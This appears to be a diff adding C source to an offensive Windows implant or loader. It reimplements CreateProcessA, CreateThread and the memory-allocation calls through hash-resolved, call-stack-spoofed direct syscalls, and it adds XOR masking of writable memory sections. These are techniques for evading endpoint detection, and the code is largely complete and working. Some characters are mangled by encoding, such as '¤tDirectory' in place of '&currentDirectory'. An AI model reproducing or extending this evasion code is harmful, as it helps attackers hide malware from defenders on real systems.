||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to convert desktop to wide chars");
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
if (lpStartupInfo->lpTitle != NULL)
|
||||
{
|
||||
titleW = ConvertAnsiToWide(lpStartupInfo->lpTitle);
|
||||
if (titleW == NULL)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to convert title to wide chars");
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
environmentBlock = PrepareEnvironmentBlock(lpEnvironment, dwCreationFlags, &environmentAllocated);
|
||||
if (lpEnvironment != NULL && environmentBlock == NULL)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to prepare environment block");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Build the strings consumed by RtlCreateProcessParametersEx from the ANSI
|
||||
// front-end arguments accepted by CreateProcessA.
|
||||
InitUnicodeStringFromWide(&imagePath, imagePathW);
|
||||
InitUnicodeStringFromWide(&commandLine, commandLineW);
|
||||
|
||||
if (currentDirectoryW != NULL)
|
||||
{
|
||||
InitUnicodeStringFromWide(¤tDirectory, currentDirectoryW);
|
||||
}
|
||||
|
||||
if (desktopW != NULL)
|
||||
{
|
||||
InitUnicodeStringFromWide(&desktop, desktopW);
|
||||
}
|
||||
|
||||
if (titleW != NULL)
|
||||
{
|
||||
InitUnicodeStringFromWide(&title, titleW);
|
||||
}
|
||||
|
||||
if (!NTDLL$RtlDosPathNameToNtPathName_U(imagePathW, &ntImagePath, NULL, NULL))
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to convert image path to NT path");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
{
|
||||
// Let ntdll build the normalized native parameter block instead of
|
||||
// recreating the layout manually.
|
||||
NTSTATUS status = NTDLL$RtlCreateProcessParametersEx(&processParameters,
|
||||
&imagePath,
|
||||
NULL,
|
||||
(currentDirectoryW != NULL) ? ¤tDirectory : NULL,
|
||||
&commandLine,
|
||||
environmentBlock,
|
||||
(titleW != NULL) ? &title : NULL,
|
||||
(desktopW != NULL) ? &desktop : NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
WARN_MSG("\t\tRtlCreateProcessParametersEx failed with status 0x%08X", status);
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
// The extended view lets us preserve the Win32-facing startup fields after
|
||||
// RtlCreateProcessParametersEx lays out the native block.
|
||||
parametersEx = (RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL *)processParameters;
|
||||
parametersEx->WindowFlags = startupFlags;
|
||||
parametersEx->ShowWindowFlags = (startupFlags & STARTF_USESHOWWINDOW) ? lpStartupInfo->wShowWindow : SW_SHOWNORMAL;
|
||||
parametersEx->StartingX = lpStartupInfo->dwX;
|
||||
parametersEx->StartingY = lpStartupInfo->dwY;
|
||||
parametersEx->CountX = lpStartupInfo->dwXSize;
|
||||
parametersEx->CountY = lpStartupInfo->dwYSize;
|
||||
parametersEx->CountCharsX = lpStartupInfo->dwXCountChars;
|
||||
parametersEx->CountCharsY = lpStartupInfo->dwYCountChars;
|
||||
parametersEx->FillAttribute = lpStartupInfo->dwFillAttribute;
|
||||
|
||||
if ((startupFlags & STARTF_USESTDHANDLES) != 0)
|
||||
{
|
||||
parametersEx->StandardInput = lpStartupInfo->hStdInput;
|
||||
parametersEx->StandardOutput = lpStartupInfo->hStdOutput;
|
||||
parametersEx->StandardError = lpStartupInfo->hStdError;
|
||||
}
|
||||
|
||||
if ((dwCreationFlags & DETACHED_PROCESS) != 0)
|
||||
{
|
||||
parametersEx->ConsoleHandle = HANDLE_DETACHED_PROCESS;
|
||||
}
|
||||
else if ((dwCreationFlags & CREATE_NEW_CONSOLE) != 0)
|
||||
{
|
||||
parametersEx->ConsoleHandle = HANDLE_CREATE_NEW_CONSOLE;
|
||||
}
|
||||
else if ((dwCreationFlags & CREATE_NO_WINDOW) != 0)
|
||||
{
|
||||
parametersEx->ConsoleHandle = HANDLE_CREATE_NO_WINDOW;
|
||||
}
|
||||
|
||||
hasProcessAttributes = InitSecurityObjectAttributes(&processObjectAttributes, lpProcessAttributes);
|
||||
hasThreadAttributes = InitSecurityObjectAttributes(&threadObjectAttributes, lpThreadAttributes);
|
||||
|
||||
// PsCreateInitialState is enough for the practical CreateProcessA subset
|
||||
// implemented here: image path, priority class, startup fields and basic
|
||||
// handle inheritance.
|
||||
createInfo.Size = sizeof(createInfo);
|
||||
createInfo.State = PsCreateInitialState;
|
||||
|
||||
attributeList.Attributes[attributeCount].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
|
||||
attributeList.Attributes[attributeCount].Size = ntImagePath.Length;
|
||||
attributeList.Attributes[attributeCount].ValuePtr = ntImagePath.Buffer;
|
||||
attributeList.Attributes[attributeCount].ReturnLength = NULL;
|
||||
attributeCount++;
|
||||
|
||||
attributeList.Attributes[attributeCount].Attribute = PS_ATTRIBUTE_PRIORITY_CLASS;
|
||||
attributeList.Attributes[attributeCount].Size = sizeof(priorityClass);
|
||||
attributeList.Attributes[attributeCount].Value = priorityClass;
|
||||
attributeList.Attributes[attributeCount].ReturnLength = NULL;
|
||||
attributeCount++;
|
||||
|
||||
attributeList.TotalLength = sizeof(SIZE_T) + (attributeCount * sizeof(PS_ATTRIBUTE_LOCAL));
|
||||
|
||||
{
|
||||
ULONG processFlags = bInheritHandles ? PROCESS_CREATE_FLAGS_INHERIT_HANDLES : 0;
|
||||
ACCESS_MASK processAccess = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_TERMINATE | SYNCHRONIZE;
|
||||
ACCESS_MASK threadAccess = THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME | SYNCHRONIZE;
|
||||
// Create the primary thread suspended first so we can match Win32
|
||||
// semantics and roll back cleanly if post-create setup fails.
|
||||
ULONG threadFlags = THREAD_CREATE_FLAGS_CREATE_SUSPENDED;
|
||||
SYSCALL_ARG args[11] = {
|
||||
(SYSCALL_ARG)&processHandle,
|
||||
(SYSCALL_ARG)&threadHandle,
|
||||
(SYSCALL_ARG)processAccess,
|
||||
(SYSCALL_ARG)threadAccess,
|
||||
(SYSCALL_ARG)(hasProcessAttributes ? &processObjectAttributes : NULL),
|
||||
(SYSCALL_ARG)(hasThreadAttributes ? &threadObjectAttributes : NULL),
|
||||
(SYSCALL_ARG)processFlags,
|
||||
(SYSCALL_ARG)threadFlags,
|
||||
(SYSCALL_ARG)processParameters,
|
||||
(SYSCALL_ARG)&createInfo,
|
||||
(SYSCALL_ARG)&attributeList};
|
||||
NTSTATUS status = SpoofedSyscall(NTCREATEUSERPROCESS_HASH, args);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
WARN_MSG("\t\tNtCreateUserProcess failed with status 0x%08X", status);
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
if ((dwCreationFlags & CREATE_SUSPENDED) == 0)
|
||||
{
|
||||
ULONG previousSuspendCount = 0;
|
||||
SYSCALL_ARG args[2] = {
|
||||
(SYSCALL_ARG)threadHandle,
|
||||
(SYSCALL_ARG)&previousSuspendCount};
|
||||
NTSTATUS status = SpoofedSyscall(NTRESUMETHREAD_HASH, args);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
WARN_MSG("\t\tNtResumeThread failed with status 0x%08X", status);
|
||||
DestroyCreatedProcess(processHandle, threadHandle);
|
||||
processHandle = NULL;
|
||||
threadHandle = NULL;
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
processId = KERNEL32$GetProcessId(processHandle);
|
||||
threadId = KERNEL32$GetThreadId(threadHandle);
|
||||
if (processId == 0 || threadId == 0)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to resolve process or thread IDs");
|
||||
DestroyCreatedProcess(processHandle, threadHandle);
|
||||
processHandle = NULL;
|
||||
threadHandle = NULL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
lpProcessInformation->hProcess = processHandle;
|
||||
lpProcessInformation->hThread = threadHandle;
|
||||
lpProcessInformation->dwProcessId = processId;
|
||||
lpProcessInformation->dwThreadId = threadId;
|
||||
|
||||
processHandle = NULL;
|
||||
threadHandle = NULL;
|
||||
success = TRUE;
|
||||
|
||||
cleanup:
|
||||
// Cleanup is centralized so partial native state is always unwound the same
|
||||
// way, regardless of which preparation or syscall step failed.
|
||||
if (!success)
|
||||
{
|
||||
ZeroProcessInformation(lpProcessInformation);
|
||||
if (threadHandle != NULL || processHandle != NULL)
|
||||
{
|
||||
DestroyCreatedProcess(processHandle, threadHandle);
|
||||
threadHandle = NULL;
|
||||
processHandle = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (processParameters != NULL)
|
||||
{
|
||||
NTDLL$RtlDestroyProcessParameters(processParameters);
|
||||
}
|
||||
|
||||
if (ntImagePath.Buffer != NULL)
|
||||
{
|
||||
NTDLL$RtlFreeUnicodeString(&ntImagePath);
|
||||
}
|
||||
|
||||
if (environmentAllocated)
|
||||
{
|
||||
FreeBytes(environmentBlock);
|
||||
}
|
||||
|
||||
FreeBytes(titleW);
|
||||
FreeBytes(desktopW);
|
||||
FreeBytes(currentDirectoryW);
|
||||
FreeBytes(commandLineW);
|
||||
FreeBytes(imagePathW);
|
||||
FreeBytes(synthesizedCommandLineA);
|
||||
FreeBytes(resolvedImagePathA);
|
||||
|
||||
return success;
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
#pragma once
|
||||
|
||||
#include <winternl.h>
|
||||
#include "hooks.h"
|
||||
|
||||
#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x00000001
|
||||
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004
|
||||
|
||||
#define HANDLE_DETACHED_PROCESS ((HANDLE)(LONG_PTR)-1)
|
||||
#define HANDLE_CREATE_NEW_CONSOLE ((HANDLE)(LONG_PTR)-2)
|
||||
#define HANDLE_CREATE_NO_WINDOW ((HANDLE)(LONG_PTR)-3)
|
||||
|
||||
#define PROCESS_PRIORITY_CLASS_IDLE 1
|
||||
#define PROCESS_PRIORITY_CLASS_NORMAL 2
|
||||
#define PROCESS_PRIORITY_CLASS_HIGH 3
|
||||
#define PROCESS_PRIORITY_CLASS_REALTIME 4
|
||||
#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5
|
||||
#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6
|
||||
|
||||
#define CREATE_PROCESS_PRIORITY_FLAGS (IDLE_PRIORITY_CLASS | NORMAL_PRIORITY_CLASS | HIGH_PRIORITY_CLASS | REALTIME_PRIORITY_CLASS | BELOW_NORMAL_PRIORITY_CLASS | ABOVE_NORMAL_PRIORITY_CLASS)
|
||||
#define CREATE_PROCESS_ALLOWED_FLAGS (CREATE_SUSPENDED | CREATE_NEW_CONSOLE | CREATE_NO_WINDOW | DETACHED_PROCESS | CREATE_UNICODE_ENVIRONMENT | CREATE_PROCESS_PRIORITY_FLAGS)
|
||||
#define STARTUPINFO_ALLOWED_FLAGS (STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES | STARTF_USEPOSITION | STARTF_USESIZE | STARTF_USECOUNTCHARS | STARTF_USEFILLATTRIBUTE | STARTF_FORCEONFEEDBACK | STARTF_FORCEOFFFEEDBACK)
|
||||
|
||||
#define PS_ATTRIBUTE_THREAD 0x00010000UL
|
||||
#define PS_ATTRIBUTE_INPUT 0x00020000UL
|
||||
#define PS_ATTRIBUTE_ADDITIVE 0x00040000UL
|
||||
#define PS_ATTRIBUTE_VALUE(Number, Thread, Input, Additive) (((Number) & 0xFFFFUL) | ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | ((Input) ? PS_ATTRIBUTE_INPUT : 0) | ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))
|
||||
#define PS_ATTRIBUTE_IMAGE_NAME PS_ATTRIBUTE_VALUE(PsAttributeImageName, FALSE, TRUE, FALSE)
|
||||
#define PS_ATTRIBUTE_PRIORITY_CLASS PS_ATTRIBUTE_VALUE(PsAttributePriorityClass, FALSE, TRUE, FALSE)
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SearchPathA(LPCSTR lpPath, LPCSTR lpFileName, LPCSTR lpExtension, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE hProcess);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetThreadId(HANDLE hThread);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$RtlCreateProcessParametersEx(PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags);
|
||||
DECLSPEC_IMPORT VOID NTAPI NTDLL$RtlDestroyProcessParameters(PRTL_USER_PROCESS_PARAMETERS ProcessParameters);
|
||||
DECLSPEC_IMPORT BOOL NTAPI NTDLL$RtlDosPathNameToNtPathName_U(PCWSTR DosPathName, PUNICODE_STRING NtPathName, PCWSTR *NtFileNamePart, VOID *DirectoryInfo);
|
||||
DECLSPEC_IMPORT VOID NTAPI NTDLL$RtlFreeUnicodeString(PUNICODE_STRING UnicodeString);
|
||||
|
||||
// winternl.h exposes only a truncated RTL_USER_PROCESS_PARAMETERS, so we keep
|
||||
// the fields that CreateProcess-style setup needs locally.
|
||||
typedef struct _CURDIR_LOCAL {
|
||||
UNICODE_STRING DosPath;
|
||||
HANDLE Handle;
|
||||
} CURDIR_LOCAL;
|
||||
|
||||
typedef struct _RTL_DRIVE_LETTER_CURDIR_LOCAL {
|
||||
USHORT Flags;
|
||||
USHORT Length;
|
||||
ULONG TimeStamp;
|
||||
STRING DosPath;
|
||||
} RTL_DRIVE_LETTER_CURDIR_LOCAL;
|
||||
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL {
|
||||
ULONG MaximumLength;
|
||||
ULONG Length;
|
||||
ULONG Flags;
|
||||
ULONG DebugFlags;
|
||||
HANDLE ConsoleHandle;
|
||||
ULONG ConsoleFlags;
|
||||
HANDLE StandardInput;
|
||||
HANDLE StandardOutput;
|
||||
HANDLE StandardError;
|
||||
CURDIR_LOCAL CurrentDirectory;
|
||||
UNICODE_STRING DllPath;
|
||||
UNICODE_STRING ImagePathName;
|
||||
UNICODE_STRING CommandLine;
|
||||
PVOID Environment;
|
||||
ULONG StartingX;
|
||||
ULONG StartingY;
|
||||
ULONG CountX;
|
||||
ULONG CountY;
|
||||
ULONG CountCharsX;
|
||||
ULONG CountCharsY;
|
||||
ULONG FillAttribute;
|
||||
ULONG WindowFlags;
|
||||
ULONG ShowWindowFlags;
|
||||
UNICODE_STRING WindowTitle;
|
||||
UNICODE_STRING DesktopInfo;
|
||||
UNICODE_STRING ShellInfo;
|
||||
UNICODE_STRING RuntimeData;
|
||||
RTL_DRIVE_LETTER_CURDIR_LOCAL CurrentDirectories[32];
|
||||
} RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL;
|
||||
|
||||
typedef enum _PS_CREATE_STATE_LOCAL {
|
||||
PsCreateInitialState = 0,
|
||||
PsCreateFailOnFileOpen = 1,
|
||||
PsCreateFailOnSectionCreate = 2,
|
||||
PsCreateFailExeFormat = 3,
|
||||
PsCreateFailMachineMismatch = 4,
|
||||
PsCreateFailExeName = 5,
|
||||
PsCreateSuccess = 6
|
||||
} PS_CREATE_STATE_LOCAL;
|
||||
|
||||
typedef struct _PS_CREATE_INFO_LOCAL {
|
||||
SIZE_T Size;
|
||||
PS_CREATE_STATE_LOCAL State;
|
||||
union {
|
||||
struct {
|
||||
ULONG InitFlags;
|
||||
ACCESS_MASK AdditionalFileAccess;
|
||||
} InitState;
|
||||
struct {
|
||||
HANDLE FileHandle;
|
||||
} FailSection;
|
||||
struct {
|
||||
USHORT DllCharacteristics;
|
||||
} ExeFormat;
|
||||
struct {
|
||||
HANDLE IFEOKey;
|
||||
} ExeName;
|
||||
struct {
|
||||
union {
|
||||
ULONG OutputFlags;
|
||||
struct {
|
||||
UCHAR ProtectedProcess : 1;
|
||||
UCHAR AddressSpaceOverride : 1;
|
||||
UCHAR DevOverrideEnabled : 1;
|
||||
UCHAR ManifestDetected : 1;
|
||||
UCHAR ProtectedProcessLight : 1;
|
||||
UCHAR SpareBits1 : 3;
|
||||
UCHAR SpareBits2 : 8;
|
||||
USHORT SpareBits3 : 16;
|
||||
};
|
||||
};
|
||||
HANDLE FileHandle;
|
||||
HANDLE SectionHandle;
|
||||
ULONGLONG UserProcessParametersNative;
|
||||
ULONG UserProcessParametersWow64;
|
||||
ULONG CurrentParameterFlags;
|
||||
ULONGLONG PebAddressNative;
|
||||
ULONG PebAddressWow64;
|
||||
ULONGLONG ManifestAddress;
|
||||
ULONG ManifestSize;
|
||||
} SuccessState;
|
||||
};
|
||||
} PS_CREATE_INFO_LOCAL;
|
||||
|
||||
typedef enum _PS_ATTRIBUTE_NUM_LOCAL {
|
||||
PsAttributeParentProcess = 0,
|
||||
PsAttributeDebugPort = 1,
|
||||
PsAttributeToken = 2,
|
||||
PsAttributeClientId = 3,
|
||||
PsAttributeTebAddress = 4,
|
||||
PsAttributeImageName = 5,
|
||||
PsAttributeImageInfo = 6,
|
||||
PsAttributeMemoryReserve = 7,
|
||||
PsAttributePriorityClass = 8,
|
||||
PsAttributeErrorMode = 9,
|
||||
PsAttributeStdHandleInfo = 10
|
||||
} PS_ATTRIBUTE_NUM_LOCAL;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE_LOCAL {
|
||||
ULONG_PTR Attribute;
|
||||
SIZE_T Size;
|
||||
union {
|
||||
ULONG_PTR Value;
|
||||
PVOID ValuePtr;
|
||||
};
|
||||
PSIZE_T ReturnLength;
|
||||
} PS_ATTRIBUTE_LOCAL;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE_LIST_LOCAL {
|
||||
SIZE_T TotalLength;
|
||||
PS_ATTRIBUTE_LOCAL Attributes[2];
|
||||
} PS_ATTRIBUTE_LIST_LOCAL;
|
||||
|
||||
BOOL CreateProcessInternalA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
|
||||
@@ -0,0 +1,188 @@
|
||||
#include "hooks.h"
|
||||
#include "create_process.h"
|
||||
|
||||
NTSTATUS _SpoofedSyscallImpl(DWORD functionHash, const SYSCALL_ARG *args, int argsc)
|
||||
{
|
||||
if (argsc < 0 || argsc > SPOOF_CALL_MAX_ARGS || (argsc > 0 && args == NULL))
|
||||
{
|
||||
ERROR_MSG("\t\tInvalid syscall arguments");
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
|
||||
if (pNtdll == NULL)
|
||||
{
|
||||
ERROR_MSG("\t\tFailed to find pNtdll.dll");
|
||||
return STATUS_PROCEDURE_NOT_FOUND;
|
||||
}
|
||||
|
||||
PVOID pNtFunction = findFunctionByHash(pNtdll, functionHash);
|
||||
if (pNtFunction == NULL)
|
||||
{
|
||||
ERROR_MSG("\t\tFailed to find function by hash 0x%08X", functionHash);
|
||||
return STATUS_PROCEDURE_NOT_FOUND;
|
||||
}
|
||||
|
||||
SYSCALL_GATE syscall = {0};
|
||||
if (!GetSyscall(pNtdll, pNtFunction, &syscall))
|
||||
{
|
||||
ERROR_MSG("\t\tGetSyscall failed for function hash 0x%08X", functionHash);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// spoof_call needs a concrete argc because the assembly stub is expanded
|
||||
// into fixed argument slots.
|
||||
FUNCTION_CALL call = {0};
|
||||
call.ptr = syscall.jmpAddr;
|
||||
call.ssn = syscall.ssn;
|
||||
call.argc = argsc;
|
||||
|
||||
for (int i = 0; i < argsc; i++)
|
||||
{
|
||||
call.args[i] = args[i];
|
||||
}
|
||||
|
||||
return (NTSTATUS)spoof_call(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _VirtualAlloc");
|
||||
|
||||
SYSCALL_ARG args[6] = {
|
||||
(SYSCALL_ARG)NtCurrentProcess(),
|
||||
(SYSCALL_ARG)&lpAddress,
|
||||
0,
|
||||
(SYSCALL_ARG)&dwSize,
|
||||
(SYSCALL_ARG)flAllocationType,
|
||||
(SYSCALL_ARG)flProtect};
|
||||
|
||||
NTSTATUS status = SpoofedSyscall(NTALLOCATEVIRTUALMEMORY_HASH, args);
|
||||
if (!NT_SUCCESS(status)){
|
||||
WARN_MSG("\t\tNtAllocateVirtualMemory failed: 0x%08X", status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return lpAddress;
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _VirtualProtect");
|
||||
|
||||
SYSCALL_ARG args[5] = {
|
||||
(SYSCALL_ARG)NtCurrentProcess(),
|
||||
(SYSCALL_ARG)&lpAddress,
|
||||
(SYSCALL_ARG)&dwSize,
|
||||
(SYSCALL_ARG)flNewProtect,
|
||||
(SYSCALL_ARG)lpflOldProtect};
|
||||
|
||||
NTSTATUS status = SpoofedSyscall(NTPROTECTVIRTUALMEMORY_HASH, args);
|
||||
if (!NT_SUCCESS(status)){
|
||||
WARN_MSG("\t\tNtProtectVirtualMemory failed: 0x%08X", status);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _VirtualFree");
|
||||
|
||||
SYSCALL_ARG args[4] = {
|
||||
(SYSCALL_ARG)NtCurrentProcess(),
|
||||
(SYSCALL_ARG)&lpAddress,
|
||||
(SYSCALL_ARG)&dwSize,
|
||||
(SYSCALL_ARG)dwFreeType};
|
||||
|
||||
NTSTATUS status = SpoofedSyscall(NTFREEVIRTUALMEMORY_HASH, args);
|
||||
if (!NT_SUCCESS(status)){
|
||||
WARN_MSG("\t\tNtFreeVirtualMemory failed: 0x%08X", status);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _CreateThread");
|
||||
|
||||
DWORD supportedFlags = CREATE_SUSPENDED | STACK_SIZE_PARAM_IS_A_RESERVATION;
|
||||
DWORD unsupportedFlags = dwCreationFlags & ~supportedFlags;
|
||||
ACCESS_MASK desiredAccess = THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME | SYNCHRONIZE;
|
||||
|
||||
if (lpStartAddress == NULL)
|
||||
{
|
||||
WARN_MSG("\t\t_CreateThread rejected: lpStartAddress is NULL");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (lpThreadAttributes != NULL || unsupportedFlags != 0)
|
||||
{
|
||||
WARN_MSG("\t\t_CreateThread falling back to KERNEL32$CreateThread for unsupported parameters");
|
||||
return KERNEL32$CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId);
|
||||
}
|
||||
|
||||
HANDLE hThread = NULL;
|
||||
ULONG createFlags = 0;
|
||||
SIZE_T stackCommit = 0;
|
||||
SIZE_T stackReserve = 0;
|
||||
|
||||
if (dwCreationFlags & CREATE_SUSPENDED)
|
||||
{
|
||||
createFlags |= THREAD_CREATE_FLAGS_CREATE_SUSPENDED;
|
||||
}
|
||||
|
||||
if (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION)
|
||||
{
|
||||
stackReserve = dwStackSize;
|
||||
}
|
||||
else
|
||||
{
|
||||
stackCommit = dwStackSize;
|
||||
}
|
||||
|
||||
SYSCALL_ARG args[11] = {
|
||||
(SYSCALL_ARG)&hThread,
|
||||
(SYSCALL_ARG)desiredAccess,
|
||||
(SYSCALL_ARG)NULL,
|
||||
(SYSCALL_ARG)NtCurrentProcess(),
|
||||
(SYSCALL_ARG)lpStartAddress,
|
||||
(SYSCALL_ARG)lpParameter,
|
||||
(SYSCALL_ARG)createFlags,
|
||||
0,
|
||||
(SYSCALL_ARG)stackCommit,
|
||||
(SYSCALL_ARG)stackReserve,
|
||||
(SYSCALL_ARG)NULL};
|
||||
|
||||
NTSTATUS status = SpoofedSyscall(NTCREATETHREADEX_HASH, args);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
WARN_MSG("\t\tNtCreateThreadEx failed with status 0x%08X, falling back to KERNEL32$CreateThread", status);
|
||||
return KERNEL32$CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId);
|
||||
}
|
||||
|
||||
if (lpThreadId != NULL)
|
||||
{
|
||||
*lpThreadId = KERNEL32$GetThreadId(hThread);
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _CreateProcessA");
|
||||
return CreateProcessInternalA(lpApplicationName,
|
||||
lpCommandLine,
|
||||
lpProcessAttributes,
|
||||
lpThreadAttributes,
|
||||
bInheritHandles,
|
||||
dwCreationFlags,
|
||||
lpEnvironment,
|
||||
lpCurrentDirectory,
|
||||
lpStartupInfo,
|
||||
lpProcessInformation);
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
#include "utils/debug.h"
|
||||
#include "utils/utils.h"
|
||||
#include "include/ntstatus.h"
|
||||
#include "spoof.h"
|
||||
#include "syscalls.h"
|
||||
#include "nt_hashes.h"
|
||||
|
||||
#ifndef THREAD_CREATE_FLAGS_CREATE_SUSPENDED
|
||||
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
|
||||
#endif
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetThreadId(HANDLE hThread);
|
||||
|
||||
typedef ULONG_PTR SYSCALL_ARG;
|
||||
|
||||
NTSTATUS _SpoofedSyscallImpl(DWORD functionHash, const SYSCALL_ARG *args, int argsc);
|
||||
|
||||
#define ARRAY_COUNT(x) ((int)(sizeof(x) / sizeof((x)[0])))
|
||||
#define SpoofedSyscall(functionHash, args) _SpoofedSyscallImpl((functionHash), (args), ARRAY_COUNT(args))
|
||||
@@ -0,0 +1,97 @@
|
||||
#include "mask.h"
|
||||
|
||||
// Random key patched by Crystal Palace spec
|
||||
#define XOR_KEY_LEN 128
|
||||
char XOR_KEY[XOR_KEY_LEN] = {1};
|
||||
|
||||
static BOOL IsWriteable(DWORD protection)
|
||||
{
|
||||
if (protection == PAGE_EXECUTE_READWRITE ||
|
||||
protection == PAGE_EXECUTE_WRITECOPY ||
|
||||
protection == PAGE_READWRITE ||
|
||||
protection == PAGE_WRITECOPY)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static void ApplyMask(char *data, DWORD len)
|
||||
{
|
||||
XORData(data, len, XOR_KEY, XOR_KEY_LEN);
|
||||
}
|
||||
|
||||
static BOOL EncryptSection(MEMORY_SECTION *section, BOOL mask)
|
||||
{
|
||||
